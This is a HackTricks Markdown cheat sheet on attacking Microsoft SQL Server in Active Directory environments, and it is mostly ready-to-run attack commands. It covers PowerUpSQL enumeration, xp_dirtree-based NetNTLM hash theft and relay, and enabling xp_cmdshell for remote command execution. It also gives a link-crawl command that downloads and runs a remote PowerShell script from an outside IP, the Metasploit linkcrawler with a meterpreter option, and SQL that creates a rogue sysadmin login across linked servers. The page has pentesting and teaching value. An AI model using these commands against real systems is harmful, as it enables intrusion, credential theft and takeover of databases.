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248 lines
12 KiB
Markdown
248 lines
12 KiB
Markdown
# MSSQL AD Abuse
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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## **MSSQL Enumeration / Discovery**
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The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
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```powershell
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Import-Module .\PowerupSQL.psd1
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```
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### Enumerating from the network without domain session
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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```
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### Enumerating from inside the domain
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get DBs, test connections and get info in oneliner
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
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```
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## MSSQL Basic Abuse
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### Access DB
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```powershell
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#Perform a SQL query
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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# Search keywords in columns trying to access the MSSQL DBs
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## This won't use trusted SQL links
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
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```
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### MSSQL xp\_dirtree abuse
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Executing something such as `EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1` will make the MSSQL server to **login** to the specified **IP address**.
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### Steal NetNTLM hash / Relay attack
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Using **`xp_dirtree`** it's possible to **force** a NTLM **authentication**, therefore it's possible to **steal** the NetNTLM **hash** or even perform a **relay attack**.
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Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
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You can see how to use these tools in:
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{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
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[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
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{% endcontent-ref %}
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### MSSQL RCE
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It might be also possible to **execute commands** inside the MSSQL host
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```powershell
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Invoke-SQLOSCmd -Instance "srv-1.dev.cyberbotic.io,1433" -Command "whoami" -RawResults
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# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
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```
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If **manually** you could just use: 
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<pre class="language-sql"><code class="lang-sql"><strong>#To enumerate the current state of xp_cmdshell
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</strong>SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
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# A value of 0 shows that xp_cmdshell is disabled. To enable it:
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sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
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# Execute
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EXEC xp_cmdshell 'whoami';
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EXEC xp_cmdshell 'powershell -w hidden -enc <blah>';</code></pre>
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### MSSQL Extra
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{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server.md" %}
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[pentesting-mssql-microsoft-sql-server.md](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server.md)
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{% endcontent-ref %}
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## MSSQL Trusted Links
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If a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. This trusts can be chained and at some point the user might be able to find some misconfigured database where he can execute commands.
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**The links between databases work even across forest trusts.**
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### Powershell Abuse
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```powershell
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting form the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
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Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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#Manual trusted link queery
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
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## Enable xp_cmdshell and check it
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
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## If you see the results of @@selectname, it worked
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Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
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```
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### Metasploit
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You can easily check for trusted links using metasploit.
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
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### Manual - Openquery()
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From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
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From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)****
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_Login using Windows authentication:_
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 (1).png>)
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#### Find Trustable Links
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```sql
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select * from master..sysservers
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```
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.png>)
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#### Execute queries in trustable link
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Execute queries through the link (example: find more links in the new accessible instance):
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```sql
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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```
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{% hint style="warning" %}
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Check where double and single quotes are used, it's important to use them that way.
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{% endhint %}
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.png>)
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You can continue these trusted links chain forever manually.
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```sql
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# First level RCE
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SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
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# Second level RCE
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SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
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```
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If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.
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### Manual - EXECUTE
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You can also abuse trusted links using `EXECUTE`:
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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## Local Privilege Escalation
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The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".
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A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.
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[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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